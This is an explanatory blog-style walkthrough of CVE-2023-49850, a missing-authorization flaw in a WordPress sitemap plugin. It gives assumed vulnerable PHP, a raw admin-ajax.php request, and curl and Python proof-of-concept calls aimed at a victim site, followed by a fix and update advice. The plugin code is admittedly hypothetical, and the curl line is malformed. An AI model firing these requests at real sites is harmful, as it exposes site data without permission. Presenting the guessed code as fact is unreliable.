CVE-2023-49850 - Exploiting Missing Authorization in WP Simple HTML Sitemap – Simple Walkthrough

CVE-2023-49850 is a security flaw found in the WordPress plugin WP Simple HTML Sitemap by Ashish Ajani, affecting all versions up through 2.7 (earlier versions not specified). The issue is a "Missing Authorization" vulnerability, meaning parts of the plugin do not properly check who’s allowed to do what, making it possible for unauthorized visitors to exploit the plugin.

Background: The Plugin

WP Simple HTML Sitemap helps site owners create an HTML sitemap easily on their WordPress website. This helps with SEO and user experience by providing a simple, human-readable list of site content.

The Vulnerability Explained

Normally, any action that changes a site's backend or information should be checked for permissions. In tech talk, this is called authorization (are you allowed to do this?). If a plugin forgets to check, it opens the door to someone else doing it—who shouldn’t be able to.

In the case of WP Simple HTML Sitemap (versions up to 2.7), if your site's access control is incorrectly set up—say, you left an endpoint unprotected or you use default settings—someone could trigger plugin functionality that should have required higher-level permissions (like being an admin), but actually doesn’t.

The plugin exposes some internal functionality via an admin-ajax.php action or custom page.

2. This feature can be called by anyone on the web (like /wp-admin/admin-ajax.php?action=some_sitemap_action), with no check for login or capability.

An attacker guesses or looks up the trigger, then sends a request to the site.

4. The attacker extracts data they shouldn’t have, or triggers a function that should have been restricted.

Code Example: How an Attacker Abuses This Bug

Assume the vulnerable plugin exposes its sitemap generation via Ajax without checking permissions.

Step 1: Find the Ajax Action

Attackers often look at the plugin source to find if there are actions not protected by current_user_can, is_admin, etc.

Suppose, the plugin code looks like

add_action('wp_ajax_generate_html_sitemap', 'generate_html_sitemap_callback');
add_action('wp_ajax_nopriv_generate_html_sitemap', 'generate_html_sitemap_callback');

function generate_html_sitemap_callback() {
    // No authorization check!
    $sitemap = build_html_sitemap();
    echo $sitemap;
    wp_die();
}

Notice the nopriv_ hook makes it available to unauthenticated users.

An attacker sends a GET or POST request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [site-url]
Content-Type: application/x-www-form-urlencoded

action=generate_html_sitemap

What happens: The plugin spits out the sitemap, possibly with private data.

Attackers might automate it, e.g., with curl or Python

curl -X POST "https://victim-site.com/wp-admin/admin-ajax.php"; \
  -d "action=generate_html_sitemap" 

Or in Python

import requests

url = "https://victim-site.com/wp-admin/admin-ajax.php";
data = {"action": "generate_html_sitemap"}
r = requests.post(url, data=data)
print(r.text)

There should be a check like

if (!current_user_can('manage_options')) {
    wp_die('Unauthorized', 403);
}

References

- CVE-2023-49850 at NVD
- WPVulnDB Writeup
- Plugin’s WordPress Directory

Protecting Your Site

- Update or Remove the Plugin: If you use WP Simple HTML Sitemap, update to the latest secure version, or disable/delete the plugin if there’s no patch.

Monitor Logs: Look for unusual requests to admin-ajax.php.

Summary:
*CVE-2023-49850* in WP Simple HTML Sitemap is a classic example of missing authorization. If your site runs a vulnerable version, an attacker could use simple web requests to extract information or trigger actions meant for trusted users only. Keeping your plugins up-to-date and picking trustworthy, well-maintained add-ons is the easiest way to keep your WordPress site safe.

Timeline

Published on: 12/09/2024 13:15:37 UTC